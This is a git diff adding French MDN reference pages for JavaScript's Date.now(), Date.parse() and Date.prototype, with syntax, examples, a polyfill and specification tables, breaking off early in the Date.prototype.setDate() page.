+<div>{{EmbedInteractiveExample("pages/js/date-now.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var tempsEnMs = Date.now();
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées depuis le premier janvier 1970 à minuit UTC.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>now()</code> renvoie le nombre de millisecondes écoulées depuis le 1<sup>er</sup> janvier 1970 00:00:00 UTC sous forme d'un {{jsxref("Number")}} (nombre).</p>
+
+<p><code>now()</code> étant une méthode statique de {{jsxref("Date")}}, on utilisera toujours la forme <code>Date.now()</code>.</p>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Cette méthode a été standardisée dans la 5<sup>e</sup> édition d'ECMA-262. Les moteurs JavaScript ne la supportant pas peuvent l'émuler de la façon suivante :</p>
+
+<pre class="brush: js">if (!Date.now) {
+  Date.now = function now() {
+    return new Date().getTime();
+  };
+}
+</pre>
+
+<h2 id="Précision_temporelle_réduite">Précision temporelle réduite</h2>
+
+<p>Afin de protéger contre les attaques de minutage et d'identification, la précision de <code>new Date.now()</code> peut être arrondie en fonction des paramètres du navigateur. Pour Firefox, la préférence <code>privacy.reduceTimerPrecision</code> est activée par défaut et vaut, par défaut 20ms pour Firefox 59 et 2ms pour Firefox 60.</p>
+
+<pre class="brush: js">// Précision temporelle réduite (2ms) pour Firefox 60
+new Date().getTime();
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// précision temporelle avec `privacy.resistFingerprinting` activé
+new Date().getTime();
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+</pre>
+
+<p>Pour Firefox, il est également possible d'activer <code>privacy.resistFingerprinting</code> auquel cas la précision sera 100ms ou la valeur de <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code> selon laquelle est plus grande.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.4', 'Date.now')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.now', 'Date.now')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.now', 'Date.now')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.now")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.performance.now")}} - renvoie des timestamps (horodatages) avec une précision supérieure à la milliseconde pour mesurer la performance des pages web.</li>
+ <li>{{domxref("console.time")}} / {{domxref("console.timeEnd")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/parse/index.html b/files/fr/web/javascript/reference/objets_globaux/date/parse/index.html
new file mode 100644
index 0000000000..fc7a5c3e14
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/parse/index.html
@@ -0,0 +1,198 @@
+---
+title: Date.parse()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/parse
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Date.parse()</code></strong><strong> </strong>analyse la représentation textuelle d'une date, et renvoie le nombre de millisecondes depuis le 1<sup>er</sup> janvier 1970, 00:00:00 UTC jusqu'à cette date ou <code>NaN</code> si la chaîne n'est pas reconnue ou décrit une date invalide (par exemple 2015-02-31).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour les anciennes implémentations (avant ES5), le résultat de <code>Date.</code><code>parse</code> variait d'une implémentation à l'autre. Attention donc à la compatibilité avec ces anciennes versions.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/date-parse.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Appel direct :</p>
+
+<pre class="syntaxbox notranslate">Date.parse(dateString)</pre>
+
+<p>Appel implicite :</p>
+
+<pre class="syntaxbox notranslate">new Date(<var>dateString</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>dateString</code></dt>
+ <dd>Une chaine de caractères représentant une date dans une version simplifiéee d'ISO 8601 (d'autres formats peuvent être utilisés mais les résultats ne sont pas garantis).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre correspondant au nombre de millisecondes écoulées entre le premier janvier 1970 à minuit UTC et la date indiquée en argument sous la forme d'une chaîne de caractères. Si l'argument ne permet pas de décrire une date valide, c'est {{jsxref("NaN")}} qui sera renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>parse</code> prend en argument une chaine de caractères contenant une date en paramètre (comme "<code>Dec 25, 1995</code>") et renvoie le nombre de millièmes de secondes depuis le 1<sup>er</sup> janvier 1970, 00:00:00 UTC. Cette fonction est utile pour définir des valeurs de dates à partir de représentations textuelles, par exemple en conjonction avec la méthode {{jsxref("Objets_globaux/Date/setTime", "setTime()")}} et l'objet {{jsxref("Objets_globaux/Date", "Date")}}.</p>
+
+<h3 id="Format_de_la_chaîne_de_caractères">Format de la chaîne de caractères</h3>
+
+<p>À partir d'une chaine de caractères représentant une date, <code>parse</code> renvoie une valeur de temps. La syntaxe acceptée est un format simplifié de la norme ISO 8601. On pourra par exemple utiliser <code>"2011-10-10"</code> (date uniquement), <code>"2011-10-10T14:48:00"</code> (date et heure) ou <code>"2011-10-10T14:48:00.000+09:00"</code> (date, heure, millisecondes et fuseau horaire).</p>
+
+<p>Si aucun fuseau horaire n'est spécifié, les chaînes représentant uniquement des dates seront considérées comme UTC et les dates / heures seront considérées comme locales.</p>
+
+<p>Lorsque des indicateurs de fuseau horaire sont utilisés, la valeur renvoyée correspondra toujours au nombre de millisecondes écoulées entre l'argument et le premier janvier 1970 à minuit UTC.</p>
+
+<p><code>parse()</code> est une méthode statique de {{jsxref("Date")}} et on invoquera ainsi <code>Date.parse()</code> plutôt que <code>parse()</code> sur une instance d'un objet <code>Date</code>.</p>
+
+<h3 id="Différences_entre_les_fuseaux_horaires_supposés">Différences entre les fuseaux horaires supposés</h3>
+
+<p>Avec une chaîne comme <code>"March 7, 2014"</code>, <code>parse()</code> supposera un fuseau horaire local, avec une chaîne au format ISO comme <code>"2014-03-07"</code>, la méthode supposera un fuseau horaire UTC en ES5 et un fuseau horaire local pour ECMAScript 2015. Ainsi les objets {{jsxref("Date")}} construits avec ces chaînes représenteront des instants différents, sauf si le fuseau horaire local du système utilisé correspond à UTC. Cela signifie que deux dates représentées de façon textuelles semblables peuvent donner des dates différentes (ce comportement doit être corrigé avec ECMAScript 6 afin que les deux dates soient traitées de façon locale).</p>
+
+<h3 id="Traitement_laissé_libre_à_limplémentation">Traitement laissé libre à l'implémentation</h3>
+
+<p>Le standard ECMAScript dicte que si la chaîne utilisée n'est pas conforme au format standard, alors la fonction peut utiliser une heuristique et/ou un algorithme d'analyse de texte propre à l'implémentation. Les chaînes impossibles à décoder et/ou qui contiennent des éléments non-conformes aux formats ISO doivent renvoyer {{jsxref("NaN")}} lors de l'appel à <code>Date.parse()</code>.</p>
+
+<p>Cependant, les valeurs invalides qui ne sont pas reconnues dans un format ISO pris en charge par ECMA-262 peuvent ou non engendrer la valeur {{jsxref("NaN")}} selon le navigateur et les valeurs utilisées. Par exemple :</p>
+
+<pre class="brush: js notranslate">// Chaîne non ISO avec des valeurs invalides
+new Date('23/25/2014');</pre>
+
+<p>sera traitée comme la date locale du 25 novembre 2015 avec Firefox 30 et comme invalide avec Safari 7. Cependant, si la chaîne est reconnue dans un format ISO mais contient des valeurs invalides, la méthode renverra {{jsxref("NaN")}} pour tous les navigateurs conformes à ES5 (ou aux versions ultérieures) :</p>
+
+<pre class="brush: js notranslate">// Chaîne ISO avec des valeurs invalides new
+Date('2014-25-23').toISOString();
+// renvoie "RangeError: invalid date" pour les navigateurs ES5</pre>
+
+<p>L'implémentation spécifique de SpiderMonkey peut être trouvée dans le fichier <a href="https://dxr.mozilla.org/mozilla-central/source/js/src/jsdate.cpp?rev=64553c483cd1#889"><code>jsdate.cpp</code></a>. La chaîne <code>"10 06 2014"</code> est un exemple de chaîne non ISO, utiliser parse() sur cette chaîne entraînera le moteur JavaScript à utiliser son implémentation de recours. Voir ce <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1023155#c6">bug</a> pour une explication rapide de la façon dont est faite l'analyse de la chaîne.</p>
+
+<pre class="brush: js notranslate">new Date('10 06 2014');</pre>
+
+<p>sera traitée comme la date locale du 6 octobre 2014 et non comme le 10 juin 2014. D'autres exemples :</p>
+
+<pre class="brush: js notranslate">new Date('toto-truc 2014').toString();
+// renvoie : "Invalid Date"
+Date.parse('toto-truc 2014');
+// renvoie : NaN</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Date.parse">Utiliser <code>Date.parse()</code></h3>
+
+<p>Les appels suivants renvoient tous <code>1546300800000</code>. Dans le premier appel, on indique uniquement la date (et donc le fuseau UTC implicite). Les chaînes qui suivent utilisent une indication de fuseau horaire selon la norme ISO (<code>Z</code> et <code>+00:00</code>)</p>
+
+<pre class="brush: js notranslate">Date.parse("2019-01-01")
+Date.parse("2019-01-01T00:00:00.000Z")
+Date.parse("2019-01-01T00:00:00.000+00:00")
+</pre>
+
+<p>L'appel suivant, qui ne précise pas le fuseau horaire, fournira le nombre de millisecondes écoulées entre le premier janvier 1970 minuit UTC et le premier janvier 2019 à minuit selon l'heure locale du système utilisé.</p>
+
+<pre class="brush: js notranslate">Date.parse("2019-01-01T00:00:00")
+</pre>
+
+<h3 id="Chaînes_de_caractères_non-standard">Chaînes de caractères non-standard</h3>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cette section contient des exemples qui reposent sur des comportements spécifiques aux implémentations et on peut donc avoir des incohérences entre les moteurs utilisés.</p>
+</div>
+
+<p>Si <code>IPOdate</code> est un objet {{jsxref("Date")}}, on peut définir sa valeur au 9 août 1995 (heure locale), de la façon suivante :</p>
+
+<pre class="brush: js notranslate">IPOdate.setTime(Date.parse('Aug 9, 1995'));
+</pre>
+
+<p>Voici un autre exemple avec une chaîne qui ne suit pas le format standard.</p>
+
+<pre class="brush: js notranslate">Date.parse('Aug 9, 1995');
+</pre>
+
+<p>Cette méthode renverra <code>807937200000</code> pour le fuseau horaire GMT-0300 et d'autres valeurs pour d'autres fuseaux car la chaîne n'indique pas le fuseau horaire et ne respecte pas le format ISO (le fuseau considéré par défaut est donc le fuseau local).</p>
+
+<pre class="brush: js notranslate">Date.parse('Wed, 09 Aug 1995 00:00:00 GMT');
+</pre>
+
+<p>Renvoie <code>807926400000</code> quel que soit le fuseau local car on indique GMT.</p>
+
+<pre class="brush: js notranslate">Date.parse('Wed, 09 Aug 1995 00:00:00');
+</pre>
+
+<p>Renvoie <code>807937200000</code> dans le fuseau GMT-0300 et d'autres valeurs pour d'autres fuseaux car aucune indication de fuseau n'est fournie et que la chaîne n'est pas au format ISO, elle est donc traitée comme un temps local.</p>
+
+<pre class="brush: js notranslate">Date.parse('Thu, 01 Jan 1970 00:00:00 GMT');
+</pre>
+
+<p>Renvoie <code>0</code> quel que soit le fuseau local car l'indicateur GMT est fourni.</p>
+
+<pre class="brush: js notranslate">Date.parse('Thu, 01 Jan 1970 00:00:00');
+</pre>
+
+<p>Renvoie <code>14400000</code> pour le fuseau GMT-0400 et d'autres valeurs dans d'autres fuseaux car aucune indication de fuseau n'est fournie et la chaîne n'est pas au format ISO, elle est donc traitée comme un temps local.</p>
+
+<pre class="brush: js notranslate">Date.parse('Thu, 01 Jan 1970 00:00:00 GMT-0400');
+</pre>
+
+<p>Renvoie <code>14400000</code> quel que soit le fuseau car l'indicateur GMT est fourni.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.2', 'Date.parse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Ajout du format ISO 8601 simplifié.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.parse', 'Date.parse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.parse', 'Date.parse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.parse")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li>À partir de Firefox 49 ({{geckoRelease(49)}}, l'interprétation des années exprimées sur deux chiffres est alignée avec Google Chrome (et non plus avec Internet Explorer). Désormais, les années exprimées sur deux chiffres et strictement inférieures à 50 seront considérées comme des années du XXI<sup>e</sup> siècle. Ainsi, <code>04/16/17</code> correspondait avant au 16 avril 1917 et correspond désormais au 16 avril 2017. Cela évite des problèmes d'interopérabilité et d'ambiguïté et cette méthode est recommandée par le format ISO 8601 (cf. {{bug(1265136)}}).</li>
+ <li>Google Chrome acceptera une chaîne de caractères avec un nombre pour le paramètre <code>dateString</code>. Ainsi, si on exécute <code>!!Date.parse("42")</code> dans Firefox, on obtiendra <code>false</code> tandis que que Google Chrome donnera <code>true</code> car <code>"42"</code> sera interprété comme la date du premier janvier 2042.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.UTC()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/date/prototype/index.html
new file mode 100644
index 0000000000..6607d114ba
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/prototype/index.html
@@ -0,0 +1,182 @@
+---
+title: Date.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Date/prototype
+tags:
+  - Date
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Date.prototype</strong></code> représente le prototype du constructeur {{jsxref("Date")}}.</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("Date")}} JavaScript héritent de <code>Date.prototype</code>. Le prototype du constructeur peut être modifié afin d'altérer l'ensemble des instances de <code>Date</code> pour y ajouter des propriétés et/ou des méthodes.</p>
+
+<p>Pour des questions de compatibilité avec le calcul des millénaires (en d'autres termes, pour prendre en compte l'année 2000), il faut toujours renseigner l'année entière ; par exemple, utilisez 1998, et non 98. Afin d'obtenir ces valeurs JavaScript possède les méthodes {{jsxref("Date/getFullYear", "getFullYear()")}}, {{jsxref("Date/setFullYear", "setFullYear()")}}, {{jsxref("Date/getUTCFullYear", "getUTCFullYear()")}} et {{jsxref("Date/setUTCFullYear", "setUTCFullYear()")}}.</p>
+
+<p>Avec ECMAScript 6, l'objet <code>Date.prototype</code> n'est plus une instance de {{jsxref("Date")}}, c'est un objet « ordinaire ».</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>Date.prototype.constructor</dt>
+ <dd>Renvoie la fonction qui crée une instance de <code>Date</code>. Par défaut, ce sera le constructeur {{jsxref("Date", "Date")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<h3 id="Lecture_(getters)">Lecture (<em>getters</em>)</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.getDate()")}}</dt>
+ <dd>Renvoie le jour du mois (1-31) pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.getDay()")}}</dt>
+ <dd>Renvoie le jour de la semaine (0-6) pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.getFullYear()")}}</dt>
+ <dd>Renvoie l'année (avec 4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.getHours()")}}</dt>
+ <dd>Renvoie l'heure (0-23) pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.getMilliseconds()")}}</dt>
+ <dd>Renvoie les millièmes de secondes (0-999) pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.getMinutes()")}}</dt>
+ <dd>Renvoie les minutes (0-59) pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.getMonth()")}}</dt>
+ <dd>Renvoie le mois (0-11) pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.getSeconds()")}}</dt>
+ <dd>Renvoie les secondes (0-59) pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.getTime()")}}</dt>
+ <dd>Renvoie la valeur numérique de la date spécifiée sous la forme du nombre de millisecondes depuis le 1<sup>er</sup> janvier 1970, 00:00:00 UTC (les valeurs renvoyées pour les dates antérieures seront négatives).</dd>
+ <dt>{{jsxref("Date.prototype.getTimezoneOffset()")}}</dt>
+ <dd>Renvoie le décalage de fuseau horaire en minutes pour l'heure locale courante.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDate()")}}</dt>
+ <dd>Renvoie le jour (date) du mois (1-31) pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDay()")}}</dt>
+ <dd>Renvoie le jour de la semaine (0-6) pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCFullYear()")}}</dt>
+ <dd>Renvoie l'année (avec 4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCHours()")}}</dt>
+ <dd>Renvoie les heures (0-23) pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</dt>
+ <dd>Renvoie les millièmes de seconde (0-999) pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMinutes()")}}</dt>
+ <dd>Renvoie les minutes (0-59) pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMonth()")}}</dt>
+ <dd>Renvoie le mois (0-11) pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCSeconds()")}}</dt>
+ <dd>Renvoie les secondes (0-59) pour la date spécifiée selon le temps universel</dd>
+ <dt>{{jsxref("Date.prototype.getYear()")}} {{ Deprecated_inline() }}</dt>
+ <dd>Renvoie l'année (habituellement avec 2 ou 3 chiffres) pour la date spécifiée selon l'heure locale. Utilisez plutôt {{jsxref("Date/getFullYear", "getFullYear()")}}.</dd>
+</dl>
+
+<h3 id="Écriture_(setters)">Écriture (<em>setters</em>)</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.setDate()")}}</dt>
+ <dd>Définit le jour du mois pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.setFullYear()")}}</dt>
+ <dd>Définit l'année complète (4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.setHours()")}}</dt>
+ <dd>Définit les heures pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.setMilliseconds()")}}</dt>
+ <dd>Définit les millièmes de seconde pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.setMinutes()")}}</dt>
+ <dd>Définit les minutes pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.setMonth()")}}</dt>
+ <dd>Définit le mois pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.setSeconds()")}}</dt>
+ <dd>Définit les secondes pour la date spécifiée selon l'heure locale.</dd>
+ <dt>{{jsxref("Date.prototype.setTime()")}}</dt>
+ <dd>Règle l'objet <code>Date</code> sur le temps représenté par un nombre de millisecondes depuis le 1<sup>er</sup> janvier 1970, 00:00:00 UTC.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCDate()")}}</dt>
+ <dd>Définit le jour du mois pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCFullYear()")}}</dt>
+ <dd>Définit l'année complète (4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCHours()")}}</dt>
+ <dd>Définit les heures pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</dt>
+ <dd>Définit les millièmes de seconde pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMinutes()")}}</dt>
+ <dd>Définit les minutes pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMonth()")}}</dt>
+ <dd>Définit le mois pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCSeconds()")}}</dt>
+ <dd>Définit les secondes pour la date spécifiée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setYear()")}} {{ Deprecated_inline() }}</dt>
+ <dd>Définit l'année (habituellement avec 2 ou 3 chiffres) pour une date spécifiée selon le temps universel. Utilisez plutôt {{jsxref("Date/setFullYear", "setFullYear()")}}.</dd>
+</dl>
+
+<h3 id="Lecture_avec_conversion">Lecture avec conversion</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.toDateString()")}}</dt>
+ <dd>Renvoie la partie « date » de l'objet <code>Date</code> sous la forme d'une chaîne de caractères lisible par un humain (autrement dit quelque chose comme "Thu Apr 12 2018").</dd>
+ <dt>{{jsxref("Date.prototype.toISOString()")}}</dt>
+ <dd>Convertit une date en chaîne de caractère respectant la norme ISO 8601 Format Étendu.</dd>
+ <dt>{{jsxref("Date.prototype.toJSON()")}}</dt>
+ <dd>Renvoie une chaîne de caractère représentant la date en utilisant {{jsxref("Date/toISOString", "toISOString()")}}. Pour une utilisation avec {{jsxref("JSON.stringify()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toGMTString()")}} {{ Deprecated_inline() }}</dt>
+ <dd>Convertit une date en une chaîne de caractères, en utilisant les conventions GMT. Utilisez plutôt {{jsxref("Date/toUTCString", "toUTCString()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleDateString()")}}</dt>
+ <dd>Renvoie la partie « date » de l'objet <code>Date</code> sous la forme d'une chaîne de caractères adaptée selon la locale en utilisant les réglages du système pour déterminer la locale à utiliser.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleFormat()")}} {{ Non-standard_inline() }}</dt>
+ <dd>Convertit une date en une chaîne de caractères, en utilisant une chaîne de formatage.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleString()")}}</dt>
+ <dd>Convertit une date en une chaîne de caractères, en utilisant les conventions locales courantes. Remplace la méthode {{jsxref("Object/toLocaleString", "Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleTimeString()")}}</dt>
+ <dd>Renvoie la partie « heure » de l'objet <code>Date</code> sous la forme d'une chaîne, en utilisant les conventions locales courantes.</dd>
+ <dt>{{jsxref("Date.prototype.toSource()")}} {{ Non-standard_inline() }}</dt>
+ <dd>Renvoie une chaîne de caractères représentant le code source pour un objet <code>Date</code> équivalent ; cette valeur peut être utilisée pour créer un nouvel objet. Remplace la méthode {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant l'objet <code>Date</code> spécifié. Remplace la méthode {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toTimeString()")}}</dt>
+ <dd>Renvoie la partie « heure » de l'objet <code>Date</code> sous la forme d'une chaîne de caractères lisible par humain.</dd>
+ <dt>{{jsxref("Date.prototype.toUTCString()")}}</dt>
+ <dd>Convertit une date en une chaîne de caractères, en utilisant le fuseau horaire UTC.</dd>
+ <dt>{{jsxref("Date.prototype.valueOf()")}}</dt>
+ <dd>Renvoie la valeur primitive d'un objet <code>Date</code>. Remplace la méthode {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5', 'Date.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.prototype")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/setdate/index.html b/files/fr/web/javascript/reference/objets_globaux/date/setdate/index.html
new file mode 100644
index 0000000000..ee3c090a6d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/setdate/index.html
@@ -0,0 +1,98 @@
+---
+title: Date.prototype.setDate()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/setDate
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setDate
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>setDate()</strong></code> définit le jour du mois (relatif au début du mois courant) pour une date donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-setdate.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.setDate(valeurJour)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurJour</code></dt>
+ <dd>Un entier représentant le jour du mois.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre de millisecondes écoulées entre le premier janvier 1970 00:00:00 UTC et la date résultante (l'objet {{jsxref("Date")}} est également modifié).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si la <code>valeurJour</code> est en dehors des limites du mois courant, <code>setDate()</code> mettra à jour l'objet<code> </code>{{jsxref("Date")}} en conséquence.</p>
+
